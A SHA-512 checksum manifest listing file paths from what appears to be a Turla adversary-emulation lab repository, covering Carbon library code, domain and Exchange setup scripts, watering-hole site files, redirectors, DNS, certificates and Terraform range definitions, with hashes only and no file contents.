+4c71f82901e069e04a6df0a29695b31e3379bd1cbfff88ad1099d2bf2d39147b58292e6cc30dbd94e2c9546e1382d6f94d59e3c1a3162675499f6246d95d47da ./Resources/Carbon/CommLib/test/http_test.cc +928d91f99561e05bfdfcfeb29a5a18ce017b1ae2c03598333320ad209a03166edc7e5972ead12ea1bb9584385e457eaec4bbeabc40e2b1d26b273a8352281dfa ./Resources/Carbon/CommLib/test/utils_test.cc +65440326539f5f5ed99993ad2c9697a50c4b8dc31d0400a5dac931db5911ad8808d1b93d2523bdf30492887a5036971d9e8c264b1229e727a0e1a99bf680a452 ./Resources/Carbon/CommLib/test/enc_utils_test.cc +36864a11e3dc33aadfa1123742e0cf4b0f756b9375c92012c4612d287e242196e7e5e5d77057cf652bac41235c21f51c5e0b463b011613357232f7a0866e4f5c ./Resources/Carbon/CommLib/test/named_pipe_p2p_test.cc +55feb74f3abbebd2cc029f1c315a0d7c1adc727e88c5c1528a2c44bfb0abbd9c527b3b7da87ce59d4cd97e75e15a757c34e9e0805c12c2c96868f59ba99c4673 ./Resources/Carbon/CommLib/CommLibVersion.h.in +7eee5328680cc90a0e4e29061a2b669a0b738ef2e8918c8e8612dd3eca2e42386612fe191dbc4f92c70d32d54d25179988a757d4076860327bf0caf2053f2570 ./Resources/Carbon/CommLib/include/Tasks.hpp +83b26e7038f58c83a1a58862623bcdfb0e6f0a6e293b16c0be77288b86519ba23ad989bcfcff931661f74c75b29e4335823629e01d42a2b6c973d2cb89994dab ./Resources/Carbon/CommLib/include/WindowsWrappers.hpp +ecabf3fcc3b6297eb88ebe68412b5a3f94768dfff71510f0e3b102bb4da839801df44dd14febda81b248fe3b83be0ba40e6b4c7bf4806243fd0fc1e8439b9a14 ./Resources/Carbon/CommLib/include/Logging.hpp +29bc893321d24a7b47b6e471db8ffbf678452dcee7e55503425e42cc6e589bfc043163ab770f0b3bdf9ae377188df5833f66ca1f3bec61c8e590556541ffa446 ./Resources/Carbon/CommLib/include/Config.hpp +974dc95eed45463c7ecaa669742d36cc13dc15e1383a0dda81375146eadc5fc45cf3be0543d26ca790089e16ddb6951567ef55c935f69bd1b2fcbf0c4fb95f16 ./Resources/Carbon/CommLib/include/HttpClient.hpp +3283f8a84d43912065cef4b778d6b04d7c888428dd948c80ad8e4fea485504539b4f29af7eabf8a065f58d90760fd629276c8c60256f81ee611b69b2b0500cad ./Resources/Carbon/CommLib/include/Util.hpp +bbf4c32c8a9d2303a166a562164f465494f5864d42bf3310c7f85c12abcfb96bebf3383decd4489af2db3490c9b567571986a25f635102f863c6402e017fbc10 ./Resources/Carbon/CommLib/include/EncUtils.hpp +84d46423e49a62f679a4fdd7c8417a9e40dea0fb46999c9606d5d1b287d16dde8b72d5a5e8daa56a1870d5bdd43cb0a2ce1c98922243b884f57ab039e82adc07 ./Resources/Carbon/CommLib/include/CommLib.hpp +918696f223de77e810843080923ac5e62a8e9dc09d5e9756d562f420b416dc7427c3de2972d57aa7d77e091b04c68bea26ce9de641a459071a6d5886f4b91e9c ./Resources/Carbon/CommLib/include/configFile.h +8a1c256ec3b2a10ed2798f5e3b6637296f9e015a03d4440861c1567eb758f008ad2233f05910c06cb53890e6889f93b148c98f8c9170a25a336ef8c4d75cfa13 ./Resources/Carbon/CommLib/include/Locker.hpp +4f291a10d1a77c49b70053ab836cefa3e106f3f1fd5d67db9b4ef067080230c67349acc12dd65aa21f597e8046d1eac8c7b5b93f74bf003e8870e2f365f7ccfa ./Resources/Carbon/CommLib/include/NamedPipeP2p.hpp +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/Carbon/CommLib/bin/.gitkeep +27e5126537fdfc32fff2aba6d3da3986af8591a784d93859bf4141b69202548f895944044795394971ec15d55b334ceeb79d7f601e7aa292ad830a1e1dc7d559 ./Resources/setup/WindowsService.md +ee44d169be2b5b8f1b00023234a5d67d3a94b03b431c3ba73422c6d54c23bba02476c228ccaf543475a79ffeedc9e36a92d684cb482a0f0ed6086de4df56abc6 ./Resources/setup/assets/mailredirect-diagram.png +ff4582f1c77b59c5e80bec84dd57a77307f43f0e18f466fe39efe9cbb4124d8e27c57b8c0f3a1361c7a704768cf56fd511f39af9ef101373557108742ef94216 ./Resources/setup/assets/Turla-Infrastructure-Diagram.png +9782b75331b77a4068d2ea811370e4bc9199d9812403bccfc5b23b2db343e63090a5966ba4d5ddd4e772c6e859e93994e50edf7d9d47b88f2ff9fc54d65d1a5d ./Resources/setup/README.md +c9ba88553bc7ba350ce83c9ac65176fceec1d4fcb1efc5f635af2aeff8285cc1ed4e90c4ce75e90dd9a297048828fe6b8805a6f0ac1bc0e52aabc55e65985cec ./Resources/setup/files/windows-service/viperVpn.spec +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/setup/files/windows-service/dist/.gitkeep +58bcf05b5722661cb68d70d0f9588618cfbcff73cf70080c1e1bea315465bc88a31760f3229edb5ea92f7762127a2d8bd674ea2125d4641961069671074caa94 ./Resources/setup/files/windows-service/viperVpn.py +1a21dde5204d36bc3bd76498cea4205a3885ecd13ad72097b8c925583ea4c28a2131d951042776f32c225371d1e5d65db3e2570b020859f97e0ac3c06666cbbe ./Resources/setup/files/snake/all-join-snake-domain.ps1 +92b6838a4e424b85e86aa79a82390b6e798f5207280b15ef845b0b140b10b0b1772223c5008891f8df36e31648557d64e3f3c57c035908f915f0400e7c4c5f45 ./Resources/setup/files/snake/drebule-create-snake-exchange-admin.ps1 +1789a0f868b3d7ba778b2e448fb059c3f963cd687fb5667b0939afe6b3305aa01b46fb45973e3257545438112a35e8d55e720ffbd451ea50ee6c8bc2f68dcd88 ./Resources/setup/files/snake/drebule-install-exchange.ps1 +11c8f7066adbd455f2b547b4ac8827f172f3917bea86bd2c30dc8de7819655031095e30736d78e03e2565566a7598842166ffa1e29ea5f3305301fed54634637 ./Resources/setup/files/snake/berlios-create-snake-domain.ps1 +de3c7023af41174bb25b322765d9f62586f927b1ecc1b52c574572d77dbd0cbe7d851da16e4a8ea858d241daa4da4abeab8fff639571332facf050ad24dab7c8 ./Resources/setup/files/snake/berlios-set-computer-descriptions.ps1 +3bdd65b8de1258821f5204eb3c73fd9a714cfbcda3a4342b1de889357bf31eb0a7e01817bd9e79ff23dd5d9b1a09b41af382e7886a5aba1dff4c5c5b94eed590 ./Resources/setup/files/snake/berzas-set-local-admin.ps1 +0010781f637c719658f947515a03a2cf01a42f4d9651bbee1a95f9012cdeedb991408a08cded3fece56fbce7a3be2c3c2987cbeaf6ccca400c44d8269ed4c5bf ./Resources/setup/files/snake/berzas-install-admodule.ps1 +ed5f2c29216f8c8cf25c4040b0faeec3ec8ceae96c179992f6a5335cf1d9f3e298e34e17d97a731a0f38118ea27d49266d4d9c65608cd349af2affd06a580748 ./Resources/setup/files/snake/drebule-disable-wmic-integrity-check.ps1 +29aa036e4c90505d8d498b5debc5dace544f9f55d7c795fa24dc36fdef72686f829b27a11da2f63517e0ece2b3c6cbd0a67a9b58fe1abd021c1494170edfcf72 ./Resources/setup/files/snake/azuolas-enable-fileserver-admin.ps1 +332dd4ae8dd8e4fc8d62483b189ad1b114040ad4882fb198e37ed84c887871318c353852eb388ef90c4b27b7a6336e0ad893bed5910c56eb14abd0ca75403a33 ./Resources/setup/files/snake/berlios-create-fileserver-admin.ps1 +c34b11c03b1eca892f93f5506f744bcf99b5efa28f4366e07095dfed8966f484f280fb0aed5d6891961e4fecbf7df8c119f19af1516a80805d43c9a0b0e235e1 ./Resources/setup/files/snake/drebule-enable-remote-desktop-for-exchange-admin.ps1 +8a215fe27d24bbf974b6cb9979b23677b0aeda0654c1000e65ef94c3cd1f44f06056bc4994e637cbcd25911d60d44bd6021b20dbfd671895c61a147edcf5ac3a ./Resources/setup/files/snake/all-snake-enable-remote-desktop-for-domain-users.ps1 +2146e5c2017cfc1cd6f25fc48fb91570a9407b044694f5f385f7028777f7db1f5118ba071b786591149610d7e7708eb79fd6f46d1a22cf2a23fc2607449fa382 ./Resources/setup/files/snake/berzas-enable-remotedesktop-for-snake-fileserver.ps1 +9fd92bc7f1cdedef89c0ec1ec3e1681906631029947c6eaa4e52f37ce21938d0122d6a52df2eda9dc16ca2e892148db806a0bde3f7d0d19b1609f5142e297c58 ./Resources/setup/files/snake/berlios-create-snake-users.ps1 +25f84d5ec76448c64bd6e0cacb1ffa0c0c6617fb709ae51b39e486a392fbfc3c483fff58928fba4897841ff06dbd9550ccfb45ca14877c1b154f26f258ecf378 ./Resources/setup/files/snake/berlios-set-dns-resolution.ps1 +954c447156c6df4c525fb1cedf0357f171ddc82f69ee16868d38be67be7664d7737a0578dfcc4a1fc2d7f14701e4cc8cb393228ff7ba9b0d2dfbf75d7358a124 ./Resources/setup/files/certificates/host-1-server-key.pem +5bfb4414eb777df3f7f1dbebf36a632462491f56ef1aed601c62d99186443f623f95efbba8a830831304979ed2b423010cfb1c13b2fb32a627622977760ef4cc ./Resources/setup/files/certificates/intermediate-ca.json +aba01c2fb8b0f89115a7784c82dd18d3cb73770996d4fe62f739800e7fc8e7a5fca68036cd33c2223f763e0b47bb408cc76d6ad62c1734e02ca48310fa61f1cb ./Resources/setup/files/certificates/cfssl.json +abf5268dde1ad31faee7e7452d238f15d69a778d7400772b3049be84f25fce8531184e952b45fb0ca7c53ba0e6af241cd04692b3464baba068edfca0da3faee9 ./Resources/setup/files/certificates/host1.json +670dc97ea618bc01eecf9c6c957454b407b1abe4896cbcf6784e3e54de2646ea8d8091f4c4038cd7e844002fe4e9b3879f53f36934b76ea633213d383779c2e4 ./Resources/setup/files/certificates/host-1-server.pem +da00229b4b1be81980ef528e725a1c2975e7cbd514f978ee5e89de8979121b92e257adf1737de515edead857521b0196aa4188179992c3dfbff64f2b5ff92b2c ./Resources/setup/files/certificates/intermediate_ca-key.pem +0b2d9449246907f3c8417d5263349772f4f86e909b0585815709bdeab903fe7ffb290d8bb83da1ba9a7b74a925d38083473257e66420d7557e35d56054bc0c42 ./Resources/setup/files/certificates/intermediate_ca.pem +bf7abe13c1a8a74ccbe0f548025f1a0e506eeb331c635bd86c1d884614ebac1a42f0c811b42514326bbb787c8efd0bf9554327930a85d3ea07213bef3a21019d ./Resources/setup/files/certificates/ca.json +42cc7385075b26506e519f8a4e2d3913c64cdcf697230a2e61a43c2395a9f80dbb85dd1c535586b2ba0b0baada43317b37d93d434c8051e9d08c2e5a7a2a07fa ./Resources/setup/files/certificates/ca-key.pem +a309c77cd40989551ad199e8e6de881a83453b52abfdb0fad7f6cb3d8e6415367a15b1b7be033d9c37d71a14e723ba2a7f616d5663cd69fc6c8a9a5f089518e3 ./Resources/setup/files/certificates/ca.pem +671eba126a351382ee8bdc88b731cdd54b8ded1b94d0743cc09c8b69f76b73e96f17b5041ed0101c9bf67004b17455e550a733e0e8449e6dfcfc131fc50db2ad ./Resources/setup/files/range_validation.ps1 +e4fdef39564e2c58da2a65f13b09c49716f703afb67b6bf9da49f715220182e9b695cc7dccb968b0b4c259bc7993474a0d34c71ae1938aa9c19e2ede9276ac20 ./Resources/setup/files/watering_hole/wp-config.php +a10c65687ae0631a8d9e9d2befe5a1c7f9966f40df44ef1bac67ef3687bb887ccc888fed4c3cf23166bf8dea4ac5e3d389dfdcabb53a28cc2b4520a75ce1ba5c ./Resources/setup/files/watering_hole/README.md +6c65755a8c00164732485e31b9342e50000cbd71dd2dd687f41a6c35dd35b4f120d3c0510cd2a1190c0ef040de71259b6597e3ce4224b3ae5431e13bc1626aa6 ./Resources/setup/files/watering_hole/counter.js +0128b84085f7b4879d998b1c833dac64580c1343e1125f6d33c53d6e0700f44161af3584a0e5f0a1160f4b131572358d8623042508560c64c54716ad8532c502 ./Resources/setup/files/watering_hole/flash_prep.py +6f54bcd4262afea3bb8cb54434abe6f916e2946d6699dadd9c919765f0afe6c512e969072af6e17e2023b5632d91107cb3d8310302dbe0da0e683d77353ae8d3 ./Resources/setup/files/watering_hole/flash.txt +b4e34861dbdd99ec5de9ac4576b558e2a4379d7a37c51cfc4072493797565a92ee9274368df1dc0465cc3caf3e44a34e5201e27b58fe1294f47493d58f584a65 ./Resources/setup/files/watering_hole/wordpress_setup.sh +aebccd2143bd3d6be4e261765298bce0de60c8f08de256d4800ed6467f6a98f69e5d7428af98cfd5ef74c613854080778ca3a4a46c90f61e4313eaa887c6b6df ./Resources/setup/files/watering_hole/session.js +07d53d361082372c47a23f6441362949d5fd2c14ca8835f4f2a83c907c0cd7c9245e3200921a709cfde08a44d48e990b92c2eed81a14cd58315075e509703ff0 ./Resources/setup/files/watering_hole/ip_range.py +3867375e3873dd9a558f1281c55d144a49dc1d204e3d66b5b6371630a690ba497d46d8fb99ecd5dbd5465ce0a8994566a58f56f33ffc6d340ac2cc6a91a78d1c ./Resources/setup/files/watering_hole/out-of-range.html +fffc332d6451cd14e179f4f600dad700788a05552636ae87e61fc731caef31179c64e646dc528ad4e8e24739148aa13139b43a399ae63f0186e63d4676f6577c ./Resources/setup/files/watering_hole/wordpress.conf +dc0073ac008aaae39c11372575d35f03c62695d0f6a08d45a71cef2e73618e9ea519d4e8fb790b6f01f04fd08eb0c105a55d96a48f8c76df9a2678a1eeaecb5b ./Resources/setup/files/watering_hole/wordpress_cleanup.sh +0447bc311dd72d6c2f5028672e4aaebc38e79fc7c8a99ecaa7b67385f6e5a60725c216bf53edb2b44ff19171eeda8084044b1c71a8c71ea64f610bac5f6f2fbe ./Resources/setup/files/watering_hole/flash_update.html +285d061488dc81a03fd2d4ef1269f0247a6bb2c9255e00df0b4d732008c5c0c5bbe16a127069ad2b19a8ab3e013123c5e3af5a5908bb4770b3fdfef272e93151 ./Resources/setup/files/watering_hole/fingerprinting.py +f6a85c7e948af7f69ae18074f7b14e3ffc9affb6ca0b0c1405ff16a7188c8a418ba114419f6600fe7e63082a89fd5279793c5eedaa7400c79073270f58bed608 ./Resources/setup/files/watering_hole/redirection.py +453fdbb9c9b2fd231c6b14117d0451d2254095c0d4e36cfb375aa530b47bbc7a0ca664f2787265a844f7f901d607129a8e54c55bc19e027e6cde84701f532a46 ./Resources/setup/files/watering_hole/in-range.html +1ed709a0d61686a1fa6368afeebdbab1a6f1bcbdfe5bedbff49fc0f6654efa6f19652339ac465f85132d8aed2de413e908883bbc73794cc694bb0e09917c7ffd ./Resources/setup/files/watering_hole/beef_setup.py +f65e1f8b530f2163a2b8af8a578582740673fc3e55348788cc1d827d55447085536c799cf00f27f7475c87075fa5bf4c15a3569d27e6b2242d2f5cc9e29ba73e ./Resources/setup/files/common/enable-remote-scheduled-tasks.ps1 +e53af2e4debfc523dc1510739fda524bbfddfe80b833e23811ecc778b0a1a3837d0b2dc82c869c6b96b2a5511db6057ca31ddcdd5c891e7412582402a63995c5 ./Resources/setup/files/common/disable-edge-download-ask.ps1 +0c475db5747409c23b9afdc61423806fa1c3565cd4bbf51a39b4217821effd6fdffd05fdc4640f4adc64187ba2d1c3907fca5fdae18d14ca252e7eb9b521a66d ./Resources/setup/files/common/configure-jumpbox.ps1 +15c84d5ef1f6b628a95b44be5cd6b2cbc1c362a39120101f8968af79392da6d617229a53143090713c40fb6067a2648e018ce09ee5d5975ebbc010deba199dea ./Resources/setup/files/common/set-ad-dns-forwarding.ps1 +d682d68d6fe9b9de1957bba65afa9a212213f745762237c5c2734ffbca70b5b96b775efcf8eab06b79642163b1ef88ca74bc0f3210635685cd82f435c633b6ac ./Resources/setup/files/common/disable-edge-first-run.ps1 +7226b8534c35b8235333685b15e5e33dce18d8da92e4441f39e99299141bb8461ef776ae9369f40039978e58a05c6957d706a3b2de6b3aa756da5ddbd639e8e6 ./Resources/setup/files/common/choco-install-packages.ps1 +a8d3398b98c6837ac88d02d7eed2627036606a4cfbed878afae0306dbd90dd2a30cc8fc8f373aa4c915db6f85de87a4ad5f63bd7bc49c0f3b7d770515f76ced4 ./Resources/setup/files/common/chocolatey-install.ps1 +cd10a1a76d5d8692fba6dcb88c620d947dceaad63ef09cfd8ed113df82467603856af92cd99eddf7ae1e51cdffa5b18153ece720571c442e834d62cdc180f9ae ./Resources/setup/files/common/disable-edge-update.ps1 +e74f2c121bad18f6a23fae369d75b1831e66f73caa27ef54f29da767d0616130f6d0e081e510d31573ad1acb92e493ab13238905bcbcad61847b4afd9c056803 ./Resources/setup/files/common/enable-exchange-for-domain-users.ps1 +be7bc72d70e17ca3862abcfd930bfb68f18cd81f935f045191a5d77738348a59659552444ebfc1ff895101085fecce534f1b482700396f95c777f7a47ee75965 ./Resources/setup/files/common/disable-firewall.ps1 +0ec49ff111dd58840c022428894c15b6c2bbc8fbbb3d28ad586e81fc58c70acfb598252ded1cb640e2ea2e14f90b134a9e0ac7e92cc39320be65f81c79d9e2f5 ./Resources/setup/files/common/disable-smartscreen.ps1 +f4b4ca6e867d733cea1d946546076387669a06fcf56e31a3b20c450c14cb4d5dc0e30338dc1cfb58812ce071fa62b94321a3691f780000ed7f4274c4e4ecaf28 ./Resources/setup/files/support/kali/kali-postfix-conf +0e8d9d53f4ad3fb2edb4068dcd7c809980707c55dfb019b4921dce7d086dcadba4679439528c2d74304e90945f5f037873b556fc9c599dc761c5e84f3d00712c ./Resources/setup/files/support/kali/kali-set-nato-int-redirect.sh +b82aadbc15e21fd3a6c9e4f4629d7b887575e7c6bcfca1b632e3a38e3d2b79e95e897e8067e9a39805977b4a985075b41b6f69b5dea648b1db9ece2e0f8d22f1 ./Resources/setup/files/support/kali/kali-prereqs.sh +a9bd761067f29c6610663958945dc3579e608fe758b38c7f1ce74fa6ad49c4d7745dbfc80a4e82df3d73d7b14a3c1be688cd2a7612b33c59bf32968cb6589d3e ./Resources/setup/files/support/kali/kali-update.sh +a98e6adce00b686327beac3dfe720151172286581505a43061140fd33f5cbbdd1d27469a9ebf2d9578b8d90b5d76af00a5e2e5f044d36303328b14be8f12861e ./Resources/setup/files/support/kali/kali-install-custom-certs.sh +30188410caf3626200450230437080c4d0a39c9b79bc5659834287e097f80c758bce8e7e23941f04ed16a35e97a7196cdf923a74e17466fbf939ca9e8e1d2e33 ./Resources/setup/files/support/kali/kali-update-wp.sh +aa2fb2ceb2ff8783915abf8c82dea05b4aebfd241e771e5fa5aa361b437b30e4fa3434d6b5e0d8636b96cb504f0f482c4611728cafb457625d0bb9ad47492a2e ./Resources/setup/files/support/kali/kali-send-email.sh +2870df8746d3f9aa648ede84e712a32187b7256d32ae23ccc7e4215c08f73a93a994d5b9b3cfd0de7c89b2307650a76f4012ef854c30bc49fdef00af1e9c7fa5 ./Resources/setup/files/support/kali/kali-home-cradwell-procmailrc +dedc3b748871d23aee902f4773e936ee5168ea6365185ff21c6a81d42b69187c5066882122e62a3593b476d4be35ef804c38d72ad4daba0337c6cef615182e76 ./Resources/setup/files/support/mail/etc_postfix_virtual +1f3856131468cbff477325b60791d2fdb06af90140507e691899ce4413319c45a63bcace474199e1926e18eb77411ab43ba49c3176bf4e8e51b51f641d87e02d ./Resources/setup/files/support/mail/stamp-configure-dns.sh +a64ebd9d3c4cea8f6d8aa73458bb7d2bb32573bcdca3fce9e4fc1f8bb110d328869c062575ed8e5ec6a3410ae302b288bc7643ef4592bd3fa47d39e62387983a ./Resources/setup/files/support/mail/etc_mailname +6f1866b306da11d3bcde69408d7485a8b58ce188f3bb7586ee4f98fd68227cb6d9b3103b3a0c9da10239a4a141cfc77192ebe2a62c62c62998081f474dac7ede ./Resources/setup/files/support/mail/etc_postfix_main.cf +d3ae1c5e47627782a4dd21eeb63412976a079f989239fe6ffe014d5f6669aee72d927297f7d08fb034294717cc7646f7b405c9c1aff1699cba8fbc390ab73dc2 ./Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-thunderbug.sh +0cd12f9defdb448d53ee7193995f01dc7ac95ff4c17cdf852420c6909bf57e1630a3f8790ec8882732e4ca04a6074318c5db499f3158bc4bd4589e4e02649a69 ./Resources/setup/files/support/redirectors/disable-traffic-forwarding-rules.sh +ac5f0b784de699cd341ca5a08e888adf1f78e038cdac5d036207ddebb1a9d4bf266f64648a4e49d4e757baafd11900ea34d6529cd6d7610d98e348c5dd3406a0 ./Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-bolt.sh +4f7aff899b90bfc69492fe06d58922a3a65195777872ec378c095538574d219546c36bb023c9f3af71ec24cba734d1ad7b75176971e69ac2ce2a57862573c1df ./Resources/setup/files/support/redirectors/enable-traffic-forwarding-rules-amalie.sh +2fe5d836f47f6b222ce806bcf5bb4f7261f40cb67d5cd41e6c6351b47ce5a5198526204cab4b9440148568cddc2d7badb0896c382712b5894426925d176f4008 ./Resources/setup/files/support/redirectors/print-traffic-forwarding-rules.sh +a1834f149ade027433f77b6dbb6d19f10efef2ccc558e9113e590e9270b375014a9ea46dd66c846ba46d0e6770d55cccf11d6651c8e0e5eca465a5a20e8fbc31 ./Resources/setup/files/support/dns/unbound_zone.conf +1e683b6ceab4b1e1ae5a4224a0a9abe752908b094b3b887495c4c98e4126f33e1dd3a6c1a74a8b003f417246a61682fa9759ed1b6f509d7e245fe73c6c9b2ed8 ./Resources/setup/files/support/dns/root-auto-trust-anchor-file.conf +6651c512d47e2d41db1c94828793bdfa0b1dbbb6665a7670a778befa6ab7cf034dc08b95713f7695e5bf056ff55489a2f624eaa62020517be6bd0ef7b68496c5 ./Resources/setup/files/support/dns/install-unbound-dns.sh +0bf066ec49f67b7e0d2866986fdfd03cf88da0cc30396198cbc975b8a24a7fb8f60c635ed14ba18443e5d84887a21138a32c96f54e1a8f9b9c139361c616fb92 ./Resources/setup/files/support/dns/unbound_access.conf +c2eb5f466911eb3a0e2fb5550f2b32bd1b6d4f22eaf39cb09d7ae2c7fea6eda0bcd2a53c6c2455424bdacdefd81f37adf383a726f8e5701c7eb2115f5d68e03e ./Resources/setup/files/support/dns/qname-minimization.conf +fdb25d656bff5a6c045af5f40b724a43e0264eb98b983c7c5685a8d4f73800fc892fff622e8a6cce48a30debcf7f7d29040d6939bdfa71d24237e9442e48f97a ./Resources/setup/files/carbon/kagarov-setup.sh +c9d729e69c7bb59521760bc5604752ad2093e489201a1a8f0a25c136efee0dc02b003384f3291c86e230f23adcf1ba2ad6e04883f31b0d6ca98e0e7ccdbc5be2 ./Resources/setup/files/carbon/brieftragerin-install-exchange.ps1 +38099d32129fca92f999d455d5f4571f3d69eb776325e54d7afbd611e0ad50d4935259d6da07d4ba6908bff73654312b667010c8ad26bea1a6472fda37828eab ./Resources/setup/files/carbon/bannik-create-carbon-users.ps1 +57381d6ced53bf02d02d53182f1aaae290b65b56799f2d94620696a78ac80135354a35bf1e91912ae598bd5e835bd4ef3e42460478e787bbd7749cc1ee626823 ./Resources/setup/files/carbon/all-join-carbon-domain.ps1 +76567fcbe0105c7e1993d611811c231ba280341b1b6b39adb1c2c2dd3fddbabafee09ed033ca5979ed23f7482dc4edd9fe770c04c3283e386c4e82938eb9a04b ./Resources/setup/files/carbon/bannik-set-dns-resolution.ps1 +c0bb17b2f144ec4ea8507e597fc6fe651115b9b2a8834e5df1775d8401798ec3c886b9f0545025e6cc379cb51afc17ac88bc7c3d66382113d231019d5d96c3b0 ./Resources/setup/files/carbon/bannik-set-adalwolfa-group-membership.ps1 +2dd31b2e24983a6b15fba4f0ce259058803af32df9895b9a283c5947dc6cd557809301443acc9caa014ace8f0f8b6e848810e804ad811cc265cf50c624fbdcd0 ./Resources/setup/files/carbon/kagarov-join-domain.sh +0f62dbf94e7aad313112a9fe4373837ae0a72d3ae5b06ad2c1d50867261d54b5edea1f2674b3152a16745e504af876b764aedc4267547b78726ae69e01f98a09 ./Resources/setup/files/carbon/khabibulin-set-local-admin.ps1 +284c2b81ffe83403ec48648b35900b75d8658bb83ceb4fdc4e77e20f6cfa01318b9aeb51138a097f0642d7553065bc0457642e2a73aa3148a010b91e3ecdf525 ./Resources/setup/files/carbon/all-carbon-enable-remote-desktop-for-domain-users.ps1 +05e959f785bc6151193c88813ef8cedba6c2f8846014d2d51656cce5a8c722c787e0e628f80b45f13a84a3c605b5920c3f3b125890daaee89dd4145cfb9118c3 ./Resources/setup/files/carbon/bannik-add-computer-descriptions.ps1 +6b712ed6350faafd1f6f261cb6b4af3bf267dab4ae3dc38abc9492dbdc5f4f5f0df7420460074591e7bd7e9bd300a5cf13eb346e7d0e482fe72eed5be47f6521 ./Resources/setup/files/carbon/brieftragerin-create-carbon-exchange-admin.ps1 +c64d27060090263c8cac4329d874b6fed991de10d5740cb7fa8ae8f01ae942ba761edf6d05fa9af36c137b2beb81935de056162401be38630b874ff54b7b0aba ./Resources/setup/files/carbon/bannik-create-carbon-domain.ps1 +1795f537ab1e3d26c4bfad2f74d1889754b387b763bf46bf2b557b463924787a9a7b7025ce5e71024feb6e3c298372fba0eb87ada4dfa8b0928041525071dae6 ./Resources/setup/TrafficRedirection.md +f38dd64a5170abe74820561c7f335a059b76a016716b75ab975f06ec6de5889ae93b323b2c69493ec7bd24b3be5ccd49cb97091e8ddc8eceb852fc5f41e1a3d6 ./Resources/setup/Setup-Support.md +fca0d492d9e670eab8ddbda216197ce5abac4d2c632f52870a7deb45f54f3af5861990c1f7319db8fdbd4d68083c016157eca65264142aed0a7eada04c93e6fa ./Resources/setup/CertificateAuthority.md +22726980607377c498677f57a258e17efde07943b89fff3396eddb19b8c4d4e32918cc4a3374664c991136526429647ccea605378fa3313d02c0be056fe2f04c ./Resources/setup/Setup-Carbon.md +69102c0a85595916eb94350f5dd80d0c5aa079a02be969aeff82f650a0edae747c535ec9643404406a4578ccb5e8758f898d0b5f724ed1ffeb29bf887fe275a8 ./Resources/setup/Setup-Snake.md +f5ab90a10dd1e06a5537e59c7a2f3744e849d2a37a2195560f6c9da91e0b7d1d859a1050c8a60fa81cbef201bff18c6e27f53d0bec3028efd4e2fb1cc0519740 ./Resources/setup/GettingStarted.md +8f0c0e62e557789106f06e01fd5058768f320f9da35cd0bc54779f1f08e05ea1b0e454152e8c1bbb91b5dd6e5b152b75e0c51159074aec22a10d1252f9217f8e ./Resources/setup/EmailFlow.md +82326a7ff604e0876727935fb7815499206110aed3e4b105db3f3f594fa158e6291b0ce4245d85dd6f8191d8b4230c5b247fc18f50380f209afe12eed49b4dad ./Resources/setup/Setup-RedTeam.md +6e7fa9a99a372ec9d575f2ce121b73c60c269fa55ec5c2f354abbbb50d61a51061f345f8738b07c6daad49edfe76d9ee84b5522160281c1c548b8db16aa6926e ./Resources/setup/Infrastructure-Overview.md +ec9ec77926461680b5915b39931b0ece9db5095594d1c1c480e38c7f8a0d74135dfed04d7674888d7f5a77959f03dd1743e745baac72be2546507be21fa2fe92 ./Resources/setup/DNS.md +03abe1ec6632e3312c1fbd182424e5c7dd15c1c2c14abfa5519e61e6dfb6478881d0988ebea76abf2de9a96a3055c20854b0db151133e80f51ad4c4be5305f7b ./Resources/setup/terraform/evals-ranges/README.md +55417178c47ca690ec9d714ac66520178ad55e39696c403c5688c9288f87a8044afa840f0e8606acea3741bde9688c7be5bdb61692007ffbfcf1d9f769939a05 ./Resources/setup/terraform/evals-ranges/locals.tf +5ea769f77ee2a9f0edca1e508e53f2cd89d4ca8f124af4dc22612e8deb3753cea2c8b77b35f251111c6f745eecb6994cc2cd3f5f3ce7e2e773da4003d0c7fdd1 ./Resources/setup/terraform/evals-ranges/.terraform-docs.yml +7abe6c89f72c186b269851c349c371df50ee978626a092ca1b59dec85682d554a144dce27cf11027fe28c978fb32d0808931dae559f70bb588025b5c3c0b3dad ./Resources/setup/terraform/evals-ranges/main.tf +cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e ./Resources/setup/terraform/evals-ranges/outputs.tf +9b5f834f86bf4ab555afdad2bf681bd6f122681eb1584dcea80a8bd7ebe98bd7efef3cd8b3adb79af275555f19574906860bc80309add029569e3893ee9bb7ff ./Resources/setup/terraform/evals-ranges/provider.tf +8c415e6dfa7e7f9779556b7f886b075a1d0af2e75db5bb05fc00ae57bc2a00463e4c90a11f589f596309053e46bc4350a52c9d733a9475c79aa1b6f55201091d ./Resources/setup/terraform/evals-ranges/backend.tf +2fb58d5a9441519323e0117e0fd115490db98f6be6ce6c50df1bbd38114b54107f67883bb3a19bffdb74adf5b71b83cfc4045ac24f926276e2e027aa7544baa8 ./Resources/setup/terraform/evals-ranges/deploy.auto.tfvars.template +2669ddf1b37f54619f2f85ad1ac054ced6383e4a5190ece74f390002eced87b122a18ace2aa25ea8e2929af1fcc83c5f57d5207ce3b9e1323e644c1160e2bbab ./Resources/setup/terraform/evals-ranges/versions.tf +45bac35e700a20d65b2f1109135a349e5b4327c75c5f5ea272cb9a8ee5730b552e73b8eb00a0336bc8cf426c42fb124fad4e1766aba7a949c866059ba6c89f37 ./Resources/setup/terraform/evals-ranges/variables.tf +d0f6fdbab30035d52b41faf766334731dc30863acfdd88973d44c2543cd275be3734e09632c29f1127494584ed0f83b072cbcd6d698a05a003a8c4ef1b305bc3 ./Resources/setup/terraform/evals-ranges/snake.tf +db2fbf098500ed8d2892543216cc7743ef63663a5c8d5fb65c45d633cfe47d62f2c118c4d46608539162d55331afc9f2f8c939c78f11ab9f99b02bcec9dbfe0a ./Resources/setup/terraform/evals-ranges/carbon.tf +9c1d3ab814a90908f961c3308ee860d841b1fde56af897e994381dbe998f7ca1eef0fc9dbd531331e162a87e6f3ebbfc259fdb28d1727485bf7a6d3f6cda13ee ./Resources/setup/terraform/evals-ranges/support.tf 